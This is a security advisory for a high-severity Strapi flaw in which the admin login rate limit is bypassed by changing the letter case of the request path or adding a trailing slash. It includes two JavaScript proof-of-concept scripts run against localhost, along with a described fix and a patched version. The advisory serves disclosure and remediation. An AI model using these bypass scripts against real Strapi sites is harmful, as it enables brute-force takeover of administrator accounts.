Severity: high (7.3)
First published: Wed Sep 13 2023
Last modified: Wed Sep 13 2023
### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. ### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2) ### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen. #### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### Pattern 2 (trailing slash) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### PoC Video - [PoC Video](https://drive.google.com/file/d/1UHyt6UDpl28CXjltVJmqDvSEkkJIexiB/view?usp=share_link) ### 4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases. ### 5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`) Also, remove any extra slashes in the request path. https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31 ### 6. References - [OWASP: API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/) - [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) - [OWASP: Denial of Service Cheat Sheet (Rate limiting)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html#rate-limiting)
The vulnerability ID is GHSA-24q2-59hm-rh9r.
The severity of GHSA-24q2-59hm-rh9r is high with a severity value of 7.3.
The vulnerability affects the login function of Strapi's admin screen by allowing circumvention of the rate limit.
The vulnerability can be exploited by manipulating the request paths to upper or lower case.
To fix GHSA-24q2-59hm-rh9r, update to Strapi plugin users-permissions and Strapi admin version 4.12.1 or above.
